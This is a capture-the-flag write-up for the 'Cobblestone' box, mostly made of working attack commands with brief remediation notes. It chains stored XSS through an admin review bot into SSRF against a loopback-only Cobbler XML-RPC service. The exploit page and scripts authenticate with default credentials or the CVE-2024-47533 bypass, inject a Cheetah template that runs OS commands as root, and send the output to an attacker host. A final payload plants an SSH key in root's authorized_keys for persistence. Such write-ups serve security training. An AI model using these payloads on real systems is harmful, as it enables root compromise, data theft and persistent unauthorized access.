Cobblestone
Summary
I enumerated virtual hosts on an Apache 2.4.62 Debian server and found a skin-voting application whose automated admin bot fetches every user-submitted suggestion URL using headless Chrome. By injecting a JavaScript payload as the suggestion URL (stored XSS), I directed the bot to act as an SSRF relay — tunnelling XML-RPC calls through the bot's browser to Cobbler 3.3.6, a provisioning service bound exclusively to loopback on tcp/25151.
I authenticated with Cobbler's unchanged default credentials, wrote a malicious Cheetah provisioning template that bypassed the import-keyword blocklist using Python's built-in __import__ function, attached it to an existing profile, and triggered rendering. Because cobblerd runs as the root user, the rendered template executed OS commands with full privileges, returning both flag files and enabling a persistent root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered, for a>"Some commands also carry a value in angle brackets — <mgmt-host> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Enumerate virtual hosts by fuzzing the Host header; adjust -fs to filter the default response size.
$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.cobblestone.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302,403 -fs 0Retrieve the unauthenticated dependency manifest to fingerprint PHP framework versions.
$ curl -s -H 'Host: cobblestone.htb' http://$TARGET/composer.lock | python3 -m json.tool | head -40Exact commands 4
Register my account.
$ curl -sS -c /tmp/c.jar -H 'Host: vote.cobblestone.htb' -d "username=pwn1&first=A&last=B&email=a@b.com&password=$PASSWORD2" http://$TARGET/register.phpLog in and save session cookie to /tmp/c.jar.
$ curl -sS -b /tmp/c.jar -c /tmp/c.jar -H 'Host: vote.cobblestone.htb' -d "username=pwn1&password=$PASSWORD2" http://$TARGET/login_verify.phpStart my HTTP server to serve the exploit page and receive exfiltrated data.
$ python3 -m http.server 8000 --bind $ATTACKER_IP --directory /tmp/cobble_www &Submit the malicious page URL as a skin suggestion; bot will visit it.
$ curl -sS -b /tmp/c.jar -H 'Host: vote.cobblestone.htb' --data-urlencode "url=http://$ATTACKER_IP:8000/x.html" http://$TARGET/suggest.phpFixSanitize and restrict user-supplied URLs in the skin suggestion featureCritical
Exact commands 1
Full exploit page: bot authenticates to Cobbler, writes malicious template, attaches it, renders it as root, and exfiltrates the output. Replace $ATTACKER_IP with your LHOST.
$ cat > /tmp/cobble_www/x.html <<EOHTML
<script>
const C='http://127.0.0.1:25151/cobbler_api';
const E="http://$ATTACKER_IP:8000/out";
function rpc(m,...a){const b='<?xml version="1.0"?><methodCall><methodName>'+m+'</methodName><params>'+a.map(v=>'<param><value><string>'+v+'</string></value></param>').join('')+'</params></methodCall>';return fetch(C,{method:'POST',body:b,headers:{'Content-Type':'text/xml'}}).then(r=>r.text());}
(async()=>{
let tok;
try{tok=(await rpc('login','cobbler','cobbler')).match(/<string>([^<]{5,})<\/string>/)[1];}
catch(e){tok=(await rpc('login','','-1')).match(/<string>([^<]{5,})<\/string>/)[1];}
const payload="#set \$x=__import__('os').popen('id;cat /root/root.txt;cat /home/*/user.txt').read()\n\$x\n";
await rpc('write_autoinstall_template','e.ks',payload,tok);
const profs=await rpc('get_profiles',tok);
const prof=profs.match(/<string>([^<]+)<\/string>/)[1];
await rpc('modify_profile',prof,'autoinstall','e.ks',tok);
await rpc('save_profile',prof,tok);
const out=await rpc('generate_autoinstall',prof);
fetch(E+'?d='+encodeURIComponent(out));
})();
</script>
EOHTMLFixBlock the review bot from reaching internal and loopback network addressesCritical
Exact commands 2
Authenticate with default credentials; run from the server (or via bot relay). Replace login args with ('','-1') for CVE-2024-47533 bypass.
$ python3 -c "
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/cobbler_api')
tok = s.login('cobbler','cobbler')
print('Token:', tok)
"CVE-2024-47533 auth bypass: empty username and -1 password returns a valid privileged token without any credentials.
$ curl -s -X POST http://127.0.0.1:25151/cobbler_api -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string></string></value></param><param><value><string>-1</string></value></param></params></methodCall>'FixChange Cobbler default credentials and enforce strong authenticationCritical
cobbler-settings edit --name default_password_crypted with a strong randomly generated value. Audit all service-account credentials against a list of known defaults as part of your post-installation hardening checklist. Restrict XMLRPC access to management hosts only via firewall rules (e.g., iptables -A INPUT -p tcp --dport 25151 ! -s <mgmt-host> -j DROP).Exact commands 1
Full Python exploitation script — authenticate, write bypassing template, attach to existing profile, render as root. Run from the server or relay via bot JS (see step 3).
$ python3 -c "
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/cobbler_api')
tok = s.login('cobbler','cobbler')
payload = \"#set \$x=__import__('os').popen('id;cat /root/root.txt;cat /home/*/user.txt').read()\\n\$x\\n\"
s.write_autoinstall_template('e.ks', payload, tok)
profiles = s.get_profiles(tok)
prof_name = profiles[0]['name'] if profiles else s.get_profile_names(tok)[0]
s.modify_profile(prof_name, 'autoinstall', 'e.ks', tok)
s.save_profile(prof_name, tok)
out = s.generate_autoinstall(prof_name)
print(out)
"FixReplace the Cobbler Cheetah template import blocklist with a proper execution sandboxHigh
Exact commands 2
Swap __import__ payload to write my SSH public key to root's authorized_keys for persistent access. Replace SSH_PUBKEY with your actual public key.
$ python3 -c "
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/cobbler_api')
tok = s.login('cobbler','cobbler')
# Persistence payload: drop my SSH key
payload = \"#set \$x=__import__('os').popen('mkdir -p /root/.ssh && echo SSH_PUBKEY >> /root/.ssh/authorized_keys').read()\\n\$x\\n\"
payload = payload.replace('SSH_PUBKEY', open('/root/.ssh/id_rsa.pub').read().strip())
s.write_autoinstall_template('e.ks', payload, tok)
prof = s.get_profile_names(tok)[0]
s.modify_profile(prof, 'autoinstall', 'e.ks', tok)
s.save_profile(prof, tok)
s.generate_autoinstall(prof)
print('Key planted')
"Log in as root via SSH after the key has been planted by the template render.
$ ssh -i ~/.ssh/id_rsa root@$TARGETFixRun cobblerd as a dedicated non-root service accountHigh
useradd -r -s /sbin/nologin cobblerd) and update the cobblerd systemd unit with User=cobblerd and Group=cobblerd. Grant that account only the specific filesystem permissions it requires (e.g., read-write on /var/lib/cobbler and /etc/cobbler, nothing under /root or /home). Use Linux capabilities (CAP_NET_BIND_SERVICE) rather than root if elevated network privileges are needed. Apply the principle of least privilege to all long-running network services.Attack patterns used
The transferable techniques behind this compromise.
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.62 |
| 22/tcp | ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) |